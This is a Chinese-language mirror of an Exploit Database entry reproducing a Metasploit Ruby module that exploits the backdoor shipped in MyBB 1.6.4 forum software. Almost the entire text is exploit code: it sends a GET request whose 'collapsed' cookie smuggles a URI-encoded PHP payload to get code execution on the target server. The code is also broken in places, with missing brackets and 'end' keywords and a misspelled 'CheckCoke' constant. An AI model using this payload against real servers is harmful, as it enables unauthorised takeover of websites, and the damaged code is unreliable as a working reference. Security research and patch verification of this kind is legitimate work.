MyBB 1.6.4 – Backdoor Access (Metasploit)

Exploit Database
140 阅读

作者： Metasploit

日期： 2011-10-09
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17949/

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# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'myBB 1.6.4 Backdoor Exploit',

'Description'=> %q{

myBB is a popular open source PHP forum software. Version 1.6.4 contained an

unauthorized backdoor, distributed as part of the vendor's source package.

'Author' =>

[

'tdz',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 13838 $',

'References' =>

[

[ 'BID', '49993'],

[ 'SECUNIA', '46300' ],

[ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]

'Privileged' => false,

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Payload'=>

{

'Space' => 4000,

'DisableNops' => true,

'Keys'=> ['php'],

'Targets'=> [ ['Automatic', { }], ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 06 2011'

))

register_options(

[

OptString.new('URI', [ true, "myBB path", '/index.php']),

], self.class)

end

def uri

datastore['URI']

end

def check

print_status("Checking target")

res = send_request_raw(

{'method' => 'GET',

'uri' => uri},

)

if (not res) or (not res.code.between?(200,299))

return Exploit::CheckCode::Safe

else

return Exploit::CheckCoke::Detected

end

def exploit

print_status("Sending exploit request")

# See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt

# for details of the backdoor mechanism.

cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"

cookie << Rex::Text.uri_encode(payload.encoded)

response = send_request_raw({

'method'=> 'GET',

'global' => true,

'uri' => uri,

'headers' =>

{

'Cookie' => cookie,

}

},10)

if (not response) or (not response.code.between?(200,299))

print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."

else

handler

end